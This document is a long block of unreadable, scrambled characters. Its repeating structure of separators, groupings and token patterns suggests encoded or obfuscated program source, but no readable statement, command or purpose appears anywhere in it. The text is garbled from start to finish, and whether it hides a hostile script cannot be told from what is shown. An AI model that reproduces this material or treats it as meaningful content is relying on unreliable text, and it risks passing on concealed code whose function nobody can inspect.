OROGFTeO	 
OOGK0OOOKV
_
]FOOOOOeOOOK_Z00[OROOOO]X_	G^\]^FGKV
_
]FTeOO	OOGN/_G^[WVFGK_Z00[FFOO 
TeOK
^YOROOOOWZ XG^[V]FGWZ XG^^]XFFOOPO/WZ XG^^]XFGKV
_
]COOOOHHFOUOOOOOO	
TeOO	OGK
^YOOOOONRROO	
OOIIOV[^_G^[V]FGWZ XG^Z^^FFFOOO/	 GK
^YCOOO# ,$0*7FTeOOOKV\[VV0OOOOOORO/]X_	G^Z^]FGKV
_
]FOPO/]X_	GZYYFGKV
_
]FOOUOO_TeeOKWZZ 
OROO/V[^_G^Z^\FGKV
_
]FOOOPOO/V[^_G^[WXFGKV
_
]FOOOOOUOOOOMMTeeeO	OOOGNWZ XG^[VVFGKWZZ 
FFOOOOOOeZ[^YZZGWZ XG^Z_VFCO]X_	G^Z^[FFTe	OOGK
^YOONRROOOO	
FOeOOO	OGWZ XG^Z^ZFGWZ XG^Z^YFFFOO/	 GK
^YCOO# ,$0:!FTeeee/	 
GK
^YFTeeOOOOO 
TeOOOOOOeO	OOOOOOG]X_	G^Z_[FGKWZZ 
COOOK[]\XFONRROOOO	
FOOeOOOO	OG/WZ XG^Z^]FGK]]]WFFOOOOeO	OGK
^YOOOONRRO	
FOeO	OGWZ XG^Z^XFGV[^_G^Z^WFFFOOOO/	 GK
^YCOOOOO# ,$0:!FTeOOOOOO/	 
GK
^YFTeOOOOOOeeee 
TeeKWZZ 
OROOOO		V 
[WWY[GKWZZ 
COOOK[]\XFTee	OGNWZ XG^[VVFGKWZZ 
FFOeZ[^YZZGWZ XG^Z_VFCOOV[^_G^Z^VFFTeOOOOO	OOOGK
^YOONRROOOOO	
FOOOOe	OG]X_	G^Z^XFGV[^_G^Z^WFFFOO/	 GK
^YCOOOOOO# ,$0:!FTeeeeOOOOOOO/	 
GK
^YFTeeOOOOOOO 
TeeeeeOO	OGN/]X_	G^Z^]FGK]]]WFFOeOOOOOO	OOOOGK
^YOONRROOOO	
FOOeO	OGV[^_G^Z^XFGWZ XG^Z^WFFFO/	 GK
^YCOOOO# ,$0:!FTe/	 
GK
^YFTeOOOe 
TeeOOOOO	OOOGY^Z[GFFOOOOeOOKV0 _OOOOROOOM3S&	" 
O


Q3MOOOOOAOK		^[0^VOAOV[^_G^Z]_FOAOOOOK]]]WOAOOHMHOOOAOOOOOM3S@&	" 
Q3MTeOOOOO

OeOKV0 _OROOOOOM3S&	" 
O 0AQ3MOOOAOOOK		^[0^VOOAOOOWZ XG^Z]_FOAOOOK]]]WOOOAOOOHMHOAOOOOOM3S@&	" 
Q3MeOOOOOAOMS&	" 
O 0ZAQ3MOOOOAOOOOOOK		^[0^VOOOAOWZ XG^Z]_FOOOOAOOK]]]WOOOOOOAOOOHMHOOOOAOOM3S@&	" 
Q3MeOOOOOOOOAOOOOOOMS&	" 
O 0XAQ3MOOAOOOOK		^[0^VOOOAO]X_	G^Z]_FOOAOK]]]WOAOOHMHOOOOAOOOM3S@&	" 
Q3MeOOAOOMS&	" 
O 0WAQ3MOOAOOOK		^[0^VOOAOOO_G^Z]^FOAOK]]]WOOAOOOHMHOOOOAOOOOM3S@&	" 
Q3MTeOOeee	OOG]ZVGKV
_
]COOKWZZ 
OOAOOOKV0 _FFOOOOOK0]W[	
42OOROGKV
_
]COOOOKWZZ 
FTeOOO	OOOOGKV\[VV0FO[ZX_\]VGKV
_
]COKV\[VV0FTeO

OOO[ZX_\]VGKV
_
]COOOV[^_G^Z_]FGFFTeOO	OGK
^YOOONRROOO	
FOOOOeOOO	OOOOOOGWZ XG^Z]]FG]X_	G^Z^WFFFOOOOO/	 GK
^YCO# ,$0:!FTeO/	 
GK
^YFTeOeOOe	OOOGGKZ^]]ZOOOOOOWZ XG^_XYFGK0]W[	
FOOQO_FOOOOOIIONZ[\	XVVZ]0WGFFOOeOOOOOOeeeOOZ[^YZZG]X_	G^Z_VFCO]X_	G^[Y[FFTeeeeOOOOOOO ]V
0
] GK]]]WCOOOOOK^	0[ZX\\FTeO	 
OOOOOOGK0]W[	
OOOOOK\0	V _FO]ZVGK\0	V _4_2COK\0	V _4^2FTeOK[^YYOROOGFOO
0  G]X_	G^Z_WFCOOOOOO_FOOODOOOOO^Te
0  G]X_	G^Z]\FCOOOOOK[^YYCOOOWZ XG^[X\FFTeO	OGK[^YYOOOQROOG_]D_^FFOe
0  G_G^Z_^FCOOOO_G^Z][FGFCO_G^Z]ZFFTeeeOOOOOOZ[^YZZG]X_	G^Z_VFCOV[^_G^[Z\FFTeOOOOeOOOO
TeeOOOOOO	OOOOOGGFO
0  G]X_	G^Z]\FCOO_FOOQOO_FO
0  G]X_	G^Z]YFCO_COOO_G^Z]XFFTeOOOOOOOO	OOOGGFOO
0  GV[^_G^Z_^FCOOOO_FOQO_FOOOOOO/


0  G_G^Z_^FFTeOOOOOOOOOOG; 
OOOOOOK]WFOeOOOOZ[^YZZG_G^Z_VFCOOOK]WFTeOOOOOOOOOG*
 OK]WFOOOOeOZ[^YZZGWZ XG^Z_VFCOOOOOK]WFTeOeOOeee	 OW]V0\
0VGFeOOOOeOOOOOOeO	OGN
	
GV[^_G^[^\FFFO
Te	OOOGN]X_	G^Z]]FG]X_	G^Z]WFFFO
TeOOOOOK]	__^
ZOOOROOOOOW
W\0]G.-<?.;'OOOAOOO_G^Z]VFCOOOG^DVFFTeOOOK 	X_OOOOOROV X[GFTeOOOO	OOOOGNK 	X_OOOO]X_	G^[_ZFGK 	X_FOOOSOG\^^D^WVFFOO
TeOOOK ZW^VW[ZOROOOO\Y]__	
WGFTeOK
OOOOOROOOOOO/
0  GK]	__^
ZCOOMMFTeOOOOO	OOOOGK
OOIIOOOOO_G^Z\_FGK
FOORRRO]X_	G^Z\^FGK ZW^VW[ZFOOOIIOOK
OOOOORRROK ZW^VW[ZFO
Te	OOG_G^Z\]FGV[^_G^_WZFFFOOOOOOeee
0  GK]	__^
ZCOOOK ZW^VW[ZCOOV[^_G^Z]XFFTeOOOOO

	OOOG
	
GV[^_G^Z\\FFOIIOOOO
	
GWZ XG^Z\[FFOOIIOOO
	
GWZ XG^Z\ZFFOOIIO
	
G]X_	G^Z\YFFOOIIOO]X_	G^_Z[FG_G^Z\XFFFOeKZOOOROOOOOWZ XG^Z\XFTeeOOOK[\V[OOOORO/
OOOOKZG GV[^_G^Z\\FFCO GWZ XG^Z\[FFCOOO GV[^_G^Z\ZFFCOOO GWZ XG^Z\WFFFTeOOOOOOOO	OOOGK[\V[OOOIIOOONK[\V[BQ 
0
 FOOeOOOOK
	OOOOOROOO
GK(# -.#<4_G^\[[F2BQ
	FOOPOOOK(# -.#<4WZ XG^\[[F2BQ
	OOOOUOV[^_GW[WFTeOK	 YYOOROK[\V[BQ
0

0GK ZW^VW[ZFTeK	V
 	0OOROK[\V[BQ
0

0GK]	__^
ZFTeeeOOOOOOK[\V[BQ
GM&!3Z\*3Z]3Z[O&3[
3Z[ OK
	 3YV 3Y
3X\OG3Y	 03Y
3Y
CO3Y	3YV 3Y
03XY3XZ
CO3Y^3XZ3Y	3Y	FO9.#:3[Z3Z\OGHK	V
 	0HCOHK	 YYHCOH3Y	HFO3[	!O+:?#&3[\.;*O$3[Z6O:?+.3Z[*O 3Y	03XY
RHK	 YYHMFTe	OGK[\V[BQ
 FOOOOZ[^YZZGWZ XG^Z\VFCOOO]X_	G^Z[_FOOAOOOOOO]X_	G^Z[^FGK[\V[BQ
 COOO_COOG]]WB^_WFFFTeOOOOOK[\V[BQ 
GFTeeOeOOOOOOOG; 
OOOOK]WFOeeZ[^YZZGWZ XG^Z\VFCOOK]WFTeeeOOOOOG*
 OOOK]WFOeOeOOOe	 OOOOOO
[[]Y
^Z
0WWXWGFeOeeeK_\\XOROO
	
G]X_	G^Z[]FFOPOOOOO8?0, !;*!;0+&=OUOOOO.-<?.;'OOOAO]X_	G^Z[\FTeOOK_]Z]OOROW
W\0]G.-<?.;'OOOAOOOOO_G^Z[[FCOOOOOOG^\\1^[^FFTeOOO
OOGK_\\XOAOOO_GZY_FCOOOOK_\\XOOAOO]X_	G^Z[ZFOOOAOOOOOK_]Z]OOAOO]X_	G^Z[YFCOOK_]Z]FTeOOOOeOOOOO	 OOOOO
_0GK_
\0FeOOOeeeOOK0XVY] [X\OOOROOGFOOOOO/]X_	G^^[ZFGK_
\0FTeOOO	OGK0XVY] [X\OSOGZVD[^FOOOOOK0XVY] [X\OOQOOG]_VX^[^D^^FFO
OO	
TeeOOKZV^
ORO/_G^Z[XFGK_
\0FTeeO	OOOOGNV[^_G^[VVFGKZV^
FOOOOOOOOOOOOWZ XG^Z\^FGKZV^
FOOOOSOOOOG_[_D_][FOOOOOOOOOOOWZ XG^Z[WFGKZV^
FOOOQOOOG_	
X]	D_^_^W^FFOOO
OO	
TeOOOOOK[	0XYOOROOOOOWZ XG^^^]FGHUHCOOOOOOKZV^
COG]Z\1][VFFTe	OOGV[^_G^_XYFGK[	0XYFOOSOOG^VW1^V[FOOOK[	0XY4_2OONRROV[^_G^Z[VFOOOOWZ XG^Z[WFGK[	0XY4GYB\F2FOOOOOSOOOGW]B\]FFOO
OOO	
TeK0VV0OROO/_G\W[FGK[	0XY4G_]D_^F2FTeO	OGK0VV0OOORRRO	
OOOOOOV[^_G^Z[WFGK0VV0FOOOOSOOOGZD[ZFFOOOOO
OOO	
Te	OOGWZ XG^ZZ_FGK0VV0COOOOOO_COOO]FOOORRROOOOM3^	3WMFOOOeOOOOOOKZY	WVOORO/V[^_G]W]FGH9HCOV[^_G^ZZ_FGK0VV0COOOOOBG\D^FFFTe	OGN_G^\_ZFGKZY	WVFOOOOOOOOKZY	WV4^2OOOSOOOGV]DWFOOOOOOKZY	WV4^2OOOQOG^YY[[Z\BY^ZWXXFFO
OO	
TeOOO	OOG_G^Z\]FG]X_	G]W\FFFOOOOK0VV0OOROO/
 
GK0VV0COG^_[WZ[VD]XFFTeeO

	OGV[^_G^Z\]FG_G]WZFFFOOOOOeeeeOK0VV0OOOROOOOOO/	
GV[^_G^ZZ^FGK0VV0COG[DYFCOWZ XG^Z[WFGK0VV0FOOBOOOG\_B^]FFCOG^_[WZ^YDY_FFTeOO	OOOOGWZ XG^ZZ]FGK0VV0FOIIOOO]X_	G^Z[WFGK0VV0FOOQOOOG_]^YD_\\
FFO
OOOO	
TeeeeOOOeOOOOO

O
OO	
TeOOOOOeOOO	OOGN]X_	G^ZZ]FGK0VV0FOOO]X_	G^Z[WFGK0VV0FOOSOG_\[D_\_FOOOOOOOOOV[^_G^ZZ^FGK0VV0COOO_COOOOG\D]FFONRRO]X_	GV\[FOOO_G^[[[FGK0VV0FOOOONRROOK[	0XY4]2FO
OO	
TeOOOOOOOO
OOK0VV0TeeO	 OOOO_XYZ0GFeOOOOOOeOOOOOOOe	OOOOOGN
	
GWZ XG^ZZ\FFFO
TeOK	 [OOORO
[[]Y
^Z
0WWXWGFTeOOOOOOOO	OOGN/WZ XG^Z^]FGK	 [4^2FFO
TeOO	OOG
_0GK	 [4^2FOORRRO	
FOOO
TeK Y]0ZOOOROOO\_X^0GV[^_G^ZZ[FCOOOOGH00<#:(00HFCOOOOOOG_G^\[XFG []]^
 XGFCOO]X_	G^^XXFFFFTeOO	OOGN_G^ZZZFGK Y]0ZFOOOK Y]0ZOOOOORRROMMFOOO
TeOOOOOK Y]0ZOORO_G^ZZYFGWZ XG^ZZXFCOOMMCOK Y]0ZFTe	OOGNWZ XG^ZZWFGK Y]0ZFOOOOK Y]0ZOOOOOORRROOMMFOO
TeK
W_YOROOV	_00YGFOOOAOOOHUHOAOOOW
W\0]G.-<?.;'OOAOV[^_G^ZZVFCOOOOOG]DYFFTeKY\VOOROWZ XG^ZY_FOOAOOOOOK
W_YOOOOOOAOOOO_G^ZY^FTeeOOOKV^VOOOOOROV[^_G^ZY]FOOOOAOK
W_YOOOOOOAOOO_G^ZY\FTeOOKX\	_ 	OROOOO]X_	G^ZY[FOOAOK	 [4]2OOOAOO]X_	G^ZYZFOOOAOOV	_00YGFOOOAOV[^_G^ZY\FOOAOM3MOOAOOOOOK Y]0ZTe	OGN/WZ XG^Z^]FGK	 [4_2FFOOeOO	OOOGNV 
GK	 [4_2COOOMMFFOOOeOOOOOOOZ[^YZZG]X_	G^Z[[FCOWZ XG^ZYYFFTeOOOOOO
TeOOOOOOeOOO	OOG]ZVGK	 [4_2COOKX\	_ 	FFOOe[ZX_\]VGK	 [4_2CO^X0\Z	]_GFFTeeOYXYW][GK	 [4_2COG\X_DZ_FFTeeeOOY
XGK	 [4_2FTeOOOeOOOO
TeOeOOOOOOK\[
^]OROOO/WZ XG^ZYXFGK	 [4_2FTe	OGNWZ XG^ZZWFGK\[
^]FOOOOOV[^_G^Z[WFGK\[
^]FOOOOQOOOG]_VX_WVDY\FFOOO
TeO	OOOG]X_	G^Z_[FGK\[
^]COKY\VFONRRO	
OOIIOOOO_G^Z_[FGK\[
^]COOOKV^VFONRRO	
FO
TeOOO	OOOOG]X_	G^ZYWFGK\[
^]COO]X_	G^ZYVFFOORRROOO	
OOOOIIOOO_G^ZYWFGK\[
^]COOWZ XG^ZX_FOOAOOK	 [4]2FOONRROO	
FOeOOOOO	OOGWZ XG^]XVFGWZ XG^ZX^FCOOOO]X_	G^ZZ^FGK\[
^]COO_COGW\1^ZZFFCOOKV^]X0FOIIOO
 0 
GKV^]X04^2COOOV	_00YGFCOO]X_	G^ZX]FFFO
TeOOOOO	OOGNV 
GK	 [4_2COOOK\[
^]FFOOeOZ[^YZZGV[^_G^Z[[FCOOOOOO_G^ZYYFFTeOOOOO
TeOOOOOeOOO	OOOOG]ZVGK	 [4_2COKX\	_ 	FFOOOOOeOO[ZX_\]VGK	 [4_2CO^X0\Z	]_GFFTeOYXYW][GK	 [4_2COOOG\[YDX[FFTeOOY
XGK	 [4_2FTeOOeO
TeOOOeeeeOOOOOK VV	[OROOOW
W\0]G.-<?.;'OOAOOO_G^ZZVFCOOOOOG^^1\FFTeOK\[
^]OROWZ XG^ZX\FGV[^_G^ZX[FOOOOAOK VV	[OAOO_G^ZXZFCOMMCOK\[
^]FTeeeOOOOOOOO	OGN]X_	G^ZZWFGK\[
^]FFOeZ[^YZZGV[^_G^Z[[FCOWZ XG^Z^VFFTeOO
TeOOeOO	OOOGN/]X_	G^[WVFGK	 [4_2FFOO
TeOOO	OOGN 
]X VW
\GWZ XG^Z[[FFFOOOOeZ[^YZZGV[^_G^ZXYFCO_G^ZXXFFTe
TeOeOO	OOOOGNV 
GK	 [4_2COOOK\[
^]FFOOeOOZ[^YZZG_G^ZXYFCOOO]X_	G^ZYYFFTeOO
TeOOOeOO
^_ 	 X^G]X_	G^ZXYFFTeOOOK]WVXVOOROOKY\VOOAOOOM3MOOOOAO_G^ZXWFOOOOAOOK	 [4]2OAOWZ XG^ZY\FOOAOM3MOAOOK Y]0ZOAOOOOOM3MOOAOOOKV^VTe]ZVGK	 [4_2COOOO
[0YGK\[
^]COK]WVXVFFTeOOOOOOOOOOG; 
OOK]WFOOeOOOOZ[^YZZGWZ XG^ZXYFCOK]WFTeOOOOOOOOOOOOOOG*
 OOOOK]WFOOOOOeeeOOOOee	 OOOO	X^\^ _ZGFeeeeOeOeOOOOOOO	OOOOGN
	
G]X_	G^ZZ\FFFO
TeK	 [OROOOOO
[[]Y
^Z
0WWXWGFTeeeOKY
[_WOROOOOOGFO/]X_	G^ZXVFGK	 [4^2COO	
COCOO_COOOGWZB]^FFTeOOO	OOOOGV[^_G^]XVFG_G^ZW_FCOOOOOKY
[_WCOK]_
YYYFOOIIOOOK]_
YYY4^2OORRROOV	_00YGFFOOeOOK^	YWZ[OOROGFOO
0  G]X_	G^ZW^FCOOO_FTeO	OOOG_G^ZW]FGFOBOOK^	YWZ[OSOG__D_^WFFOOO
TeeeOOO	OOG
_0GK	 [4^2FOOONRRO	
FOOOOOOeOOOOO/
0  G]X_	G^ZW^FCOOV[^_G^ZW]FGFCOO_G^ZW\FFTeO
TeOOOOeOOOOOOZ[^YZZG]X_	G^ZXYFCOO_G^ZW[FFTeOOeeeeOK 	X_OOOROOV X[GFTeOOOO	OOOOOGNK 	X_OOOOO]X_	G^Z[WFGK 	X_FOOSOOOG[[ZDZZFOOOOOO_G^Z[WFGK 	X_FOOQOOOG^_[YYWZD^WV^FOOOON
[X
 Z]Y
GK 	X_FFOOOOO
TeeeOOOK
]0\]0OOOOROO]X_	G^ZWZFGWZ XG^ZWYFFOOPO/
 
GK 	X_COG^DZFFOOOUOOK 	X_Te	OOOOOGN_G^ZZWFGK
]0\]0FOOOOK
]0\]0ORRROOMMFOOOOOO
Tee	OG]ZVGK	 [4^2COOOV[^_G^ZWXFOOOAOOOOV	_00YGFOOOAOHUHOOOAO_G^[[[FGK 	X_FOOAOOHUHOOAOOOOO]X_	G\W]FGK
]0\]0FFFO/
0  G]X_	G^ZW^FCOOO]X_	G^ZW]FGFCOWZ XG^ZW\FFTeOOOOOOOOG; 
OOK]WFOOeOOOOOZ[^YZZGWZ XG^ZWWFCOK]WFTeOOOOOG*
 OK]WFOeOOeOOOOOOOOe	 OOO
\_		VGFeOOOOeOOO	OGNV[^_G^ZWVFGWZ XG^ZV_FFFOO
OO	
TeOKZ
ZV	OOOROO
	
GWZ XG^ZV^FFOOOOOIIOO/_G^ZV]FG.-<?.;'OOOAOO_GZW^FFOOOOOOPO.-<?.;'OOOOAOOV[^_GZW^FOOUOO00)&#*00TeO
OWZ XG^ZV\FGKZ
ZV	COOHHFTeOOOOOOeOOOOO	 OOOOO]X_YGFeOOOOeOOOe	OOOOOGN]X_	G^ZV[FG_G^ZVZFFOOOONWZ XG^ZVYFG_G^ZV\FFFO
TeOO	OOOOGN
	
GWZ XG^ZV^FFFO
TeeeOOK 	X_OROOOV X[GFTe	OGNK 	X_OOOOV[^_G^ZVXFGK 	X_FOOSOOG[]_DW_FFOO
TeK
OOOOOOROO
\_		VGFTeOO	OGK
OOORRROOO	
FOO
TeOOK
^ _ W^V0ZOOROOOOOV[^_G^ZVYFGWZ XG^ZVWFFOPOOO]X_	G^ZVVFG_G^Y__FCOK 	X_FOOUOOOV[^_G^[[[FGK 	X_FTeK	ZZ
]\OROOOOOOV[^_G^Y_^FOOOOAOOO]X_	G^Y_]FGK 	X_FOOAOOOOHUHOOAOOOK
^ _ W^V0ZOAOOOM3MOOOAOOK 	X_TeOOOOOOOK0W[ OROOV[^_G^Y_]FGK	ZZ
]\FTeK[OOOOROOO/V[^_G^Y_\FGK
COOHHCO_COOOO_FTeO	OGK[FOOOeK\
W
W_0OROGFO/_G^Y_[FGK[FTeOOOOOOK^	0[ZX\\OROO/_G^Y_ZFGK[CO_COOK\
W
W_0FTeO	OOOG]X_	G^ZZWFGK^	0[ZX\\FOOIIOO_G^ZYWFGK^	0[ZX\\COOK 	X_FOONRROOOO	
FOOeO/WZ XG^Y_YFGK[FTeO
TeOOOOOeOOOOO	OOGK\
W
W_0OQROOOOOK0W[ FOOOeOOOO/WZ XG^Y_YFGK[FTeOOK[OOROO/]X_	G^Y_\FGK
COHHCOOOO_COOOOOO_FTeOOO	OGK[FOOOOOeOOO/]X_	G^Y_XFGK[CO_G^Y_WFGK	ZZ
]\COOK\
W
W_0COM3_MFCOOO_FTeOOKY	[OOOOROOO/WZ XG^Y_ZFGK[COO_COOOOK0W[ FTeO/]X_	G^Y_YFGK[FTeO	OOGKY	[ONRROOOK	ZZ
]\FOOZ[^YZZG]X_	G^Y_VFCO]X_	G^]]VFFTeOeeOOO
TeOOOOOOOO

OeOO/WZ XG^Y^_FGK[FTe/]X_	G^Y_YFGK[FTeOOOOOOOeOOOOeeeOK\
W
W_0OOOOOROOOOK0W[ ODOOG^ZV_BZYYFTeOOOOOOOK[OOOOROOOOO/WZ XG^Y_\FGK
COOOOHHCOOG\WYD\[FCOOK\
W
W_0FTeO	OOGNK[FOOOO
TeO/]X_	G^Y_XFGK[COOO]X_	G^Y_WFGK	ZZ
]\COK\
W
W_0COM3_MFCO_FTeKY	[OOOROOOOO/_G^Y^^FGK[COOOO_COOOOOOK0W[ FTe	OOGKY	[OONRROK	ZZ
]\FOOOOOOZ[^YZZGWZ XG^Y_VFCOOOO_G^]]VFFTeeOO/_G^Y^]FGK[FTeOOOOOOOOOG; 
OK]WFOOOOOeZ[^YZZG_G^Y_VFCOOOK]WFTeOOOOOOOOG*
 OOK]WFOeOOOOeOe	 OO
[0YGK
COK]WVXVFeeeee	OOOOOGN]X_	G^ZZWFGK
FOOK
ORRROOOOOMMFOOO
OOOWZ XGVVXFOOAOOOK]WVXVOOAOOOOM3MTee	OGWZ XG^Y^\FGV[^_G^Y^[FCOOOOK
COOK[[WCOOO?=*(0 ))<*;0,.?;:=*FFOeK^
^]^OOOROK[[W4_24^2ODOWZ XG^Y_]FGK[[W4_24_2FTeOOOOOOOOK
VYZOOOOROOOOV[^_G^ZZ^FGK
COOOOK^
^]^COOGYX^^D^[W^FFTeO
OOOOOG]X_	G^ZZWFGK
VYZFOOIIOOOWZ XG^Y^\FGWZ XG^Y^ZFCOOK
VYZCOK0FFOOeOOOOK^
^]^ODROO]X_	G^Y_]FGK04_2FTeK
VYZOROOOOOO]X_	G^Y^YFGK
COOOOK^
^]^COG[YZDXX]XFFTeOeO
OOOOOOWZ XG^Y^YFGK
CO_COOOOK^
^]^FOOAOM3MOAOOOK]WVXVOAOOOM3MOOAOO]X_	G^Y^YFGK
COOK^
^]^FTeOeOOOOOOO
OOV[^_GVVXFOOOOOAOOK]WVXVOOOAOOM3PQ3MOOAOOOK
TeOOeOO	 OO 
]X VW
\GK
FeOe	OOOGN]X_	G^ZVYFGV[^_G^Z]WFFFO
OOO
TeK]0X	_OOOROO/
0  G_G^Y^XFOOOOOOAOOOOK
COOMMFTeOOOO	OOOGWZ XG^ZZWFGK]0X	_FOIIOOOO]X_	G^Y^WFGK]0X	_COOOOHHFONRROOOO	
FOOOOOeOK[	0XYOROOOOOO_G^^^]FGHHCOK]0X	_COO]FTeOO	OGGFOOK[	0XY4_2OOORRROOGFOG_G^ZW]FGFOOOOO@OOOOG^YZYWXBXV]WXFFOOOOIIOGFOOOK[	0XY4^2OOQROOOG_^D_]FFO
OO	
TeOOOOe
OO
TeOOOOe	 OOO
^_ 	 X^GK
FeOOOeeeeO	OOOOGN]X_	G^ZVYFG_G^Z]WFFOOOOOOOON_G^ZVYFG]X_	G^_WZFFFOOO
TeOOOOOOKY_OOROOGFOOGV[^_G^ZW]FGFOO@OOOOOGWY\WWD^]FFTeOOK]0X	_OOROOOO/
0  G]X_	G^Y^VFOOAOOK
COOOMMFTeK]	_YOOORO_TeO	OOG]X_	G^Y]_FGK]0X	_FOOOIIOOOO]X_	G^Y^WFGK]0X	_COOOOOHHFOOOOONRROOOO	
FOOOeK[	0XYOOORO_G^^^]FGHHCOOOOOK]0X	_CO]FTeOOOOOO	OOOOGGFOOOK[	0XY4_2OOOOORRROOOKY_FOOOOK]	_YOOOROOOGFOK[	0XY4^2TeeK]	_YDDTeOOOO/
0  G_G^Y^VFOAOK
COOKY_OOOAOHHOOOOOAOOK]	_YCOOOOOV[^_G^ZW\FFTee	OOGK]	_YOOQROOOGZB]FFOZ[^YZZG]X_	G^Y]^FCOV[^_G^Y]]FOOAOOOOOK
FTeOOOOOOOeOOO	 OOXW^	GFeeOOOOOOOe	OOOOGN
	
GWZ XG^ZV^FFFOOOO
TeeeOOOOO	OGN
	
GV[^_G^Y]\FFOOOOON/]X_	G^Y][FG8?0, !;*!;0+&=FOOOOOOOOON[]Z

YY0G8?0, !;*!;0+&=FFOO
TeOK	Z V^OROOOO8?0, !;*!;0+&=TeeKZVOOOROOOOOK	Z V^OOAOV[^_GZZ\FTeOKZ0_
 ^OOOOOROOOOOOWZ XG^\[XFG []]^
 XGFCOV[^_G^^XXFFTeOOOK 
 OOROW
W\0]G.-<?.;'OOAOOOO_G^[]_FCOOG_ZD_\FFOOAOOOOOOV[^_G^\[VFTeOOKY_ 

OROOOX[W	[X][		GFTeOK]	__^
ZOOROW
W\0]G.-<?.;'OOAO]X_	G^Z\VFCOOOOG^]B]FFTeK	Y^	OOOOROOOO]X_	G^Y]ZFGWZ XG^ZV\FFOOOPO
\_		VGFOUOOOO	
TeOOK[]V[XOOROOOK	Y^	ONRROO	
OOPOOV[^_G^Y]YFGK	Y^	FOOUOO_TeeeeOOKWYV_
OOROOOO
GK(# -.#<4WZ XG^\[[F2BQ
	FOPOK(# -.#<4V[^_G^\[[F2BQ
	OOOOUO]X_	GW[WFTeOKY	\0V
	_OOOOOROOWZ XG^Y]XFOOAOO_G^Y^YFGWZ XG^[[[FGKZ0_
 ^OOAOOOOGFO\[[
VVGFFCOOOOOO_COOOG[[1\YFFTeOOK[_ZOOOOROOOO\_X^0GeOV[^_G^Y]WFCeOOOOGH00<#:(00HCOH005&?0!."*00HCOOH00<'" ?0$*600HCOH00 ?;0!."*00HCOOH008?0?=*)&700HCOOH00(:.=+0!."*00HCOH009*=<& !00HFCeOOGKZ0_
 ^COOOOK 
 COOK[]V[XCOK]	__^
ZCOOOKWYV_
COOOOKY	\0V
	_COOOV	_00YGFFeOOOOFTeO	OOOOOGNK[_ZFOeOO	OOOOOGGFO
0  GV[^_GWVZFCO_FOOOQOOO_FOZ[^YZZG]X_	G^Y]VFCOV[^_G^Y\_FFTe
TeeeK
OOOOOROOOOO/_G^Y\^FGKZVFOOOPOOOO/V[^_G^Y\]FGKZVFOOOOOUOOOOOMMTe	OOGN_G^Y]_FGK
FFOOOOOOeOOZ[^YZZGWZ XG^Y]VFCOOWZ XG^Z^[FFTeOOO
TeOOOeeeeOK
OOROOOOOXX[WZGK
FTeOOK
W_YOOOOOOROOV	_00YGFOOAOOOOHUHOOOOAOW
W\0]G.-<?.;'OOAOWZ XG^Y\\FCOOOOG^DXFFTeOOOOKY\VOOROOO]X_	G^Y\[FOOAOK
W_YOOOOAOOOOV[^_G^ZY\FTeOOKV^VOROOOOV[^_G^Y\ZFOOAOOOOOK
W_YOOAOV[^_G^ZY\FTeeeOK]V0\	OOROOOW
W\0]G.-<?.;'OOAOWZ XG^Y\\FCOOG_^D_XFFTeeeOOOKWV	OOOOOROO]X_	G^ZX\FGWZ XG^Y\YFOAOOOOK]V0\	OOAO_G^Y\XFCOMMCOOK
FTeOK_VZOOOOROOOOGV[^_G^Y^WFGKWV	COOV[^_G^Y\WFFOONRRO	
FTeO	OOOOGV[^_G^Y\VFGK
COOKY\VFOOONRRO	
OIIOOO_G^Y\VFGK
COOKV^VFOOOONRROOOO	
OIIOOONK_VZFOOOOe_0^_0W
YY0GFTe
TeOOeeeeOK
OOOOOROOO_G^ZX\FGWZ XG^Y[_FCOOMMCOOKWV	FTeOOOOO	OOGN_G^Y]_FGK
FFOOeOOZ[^YZZG]X_	G^Y]VFCOOV[^_G^Z^VFFTe
TeeOOOOOOOOOeOOOOOK
OOOOROOOXX[WZGK
FTeK^ZV	_OOOOOOROO_G^ZX\FGV[^_G^ZZXFCOOOMMCOOK[_ZFTeOK__ OOOOROOOOOGV[^_G^Y[^FGK
FOOORRRO_FTeOO	OGNK__ FOeOOOO	OOOOGN 
]X VW
\G]X_	G^Y[]FFFOOOeOZ[^YZZG_G^Y[]FCOOV[^_G^Y[\FFTeOO
TeeeOOeOO	OGNV 
GKZVCOOOOOK
FFOOOOeOOOOZ[^YZZGV[^_G^Y[]FCOOWZ XG^Y[[FFTeOOOOOO
TeOOOOe
^_ 	 X^G_G^Y[]FFTeOOOOO

OeOO	OOOGNV 
GKZVCOOOMMFFOOOeOOOOZ[^YZZGV[^_G^Y[ZFCOOOOO]X_	G^Y[[FFTe
TeeOOOeeeOOeOOOKZX\OROOOO
[0YGK
COOKY\VOAOOOOM3MOOOOOAOK^ZV	_OOOOAOM3MOOOAOOKV^VFTe	OGN]ZVGKZVCOOKZX\FFOOOeOO
TeeOOOeeeeOOOOOOO	OGK__ FOOOY
XGKZVFTee_0^_0W
YY0GFTeeOOOOOOOOOOG; 
OOK]WFOOeOOOZ[^YZZG_G^Y[ZFCOOOOK]WFTeeOOOOOOOOG*
 OK]WFOeeOOOOOOOOe	 OO
^[YWGFeeOOOOeO	OOGN
	
GV[^_G^ZV^FFFOOOOO
TeO	OGY]Y^
G []]^
 XGFFFOOO
TeOOOO	OOGN_G^Y[YFG_G^\VXFFFOOO
TeOO	OG_G^Y[XFGFOOORRRO]X_	G^[^[FFOOOO
TeOOOOOOOO	OOOOGN
GK0<*=9*=4V[^_G^Y[WF2FFOOO
TeOOO	OOG
0
GV[^_G^Y[VFFFOOOO
TeOOOOOK	ZZYOOROX[W	[X][		GFTe	OOOOOGN/_G^\WVFGK	ZZYFFOOOO^GK	ZZYCOOOOOGYYD[]XFCOOOOO
FTeeee	OGN/]X_	G^\WVFGK	ZZYFOOON/WZ XG^Y][FGK	ZZYFFOOOeOOOOK	ZZYOOROOO.-<?.;'OOAOOV[^_G^YZ_FTee	OOGN/V[^_G^Y][FGK	ZZYFFOK	ZZYOROO\\^WVV_	GFTeeOOKY^V
Y
OOOOOOROOW
W\0]G.-<?.;'OOOOAOOHHCOOG_[D_[FFTeOOOOOKYW^[OOOROOOOV[^_GZY^FOOOAOOOKY^V
Y
OAO_G^YZ^FTeOKV
WOOROOOOK	ZZYOOOAOOH@HOOAOKYW^[TeeeeOK OOROOOOK	ZZYOOAOV[^_G^YZ]FOAOKY^V
Y
TeeO	 
OOOOOOGGK	ZZYCOOOO.-<?.;'OOAOOOOV[^_G^YZ_FCOOO\\^WVV_	GFFOOOOOOKX\VFOOeOOK_ \VV OOOROOKX\VOAOV[^_G^YZ\FOOOOOAOOOOOKY^V
Y
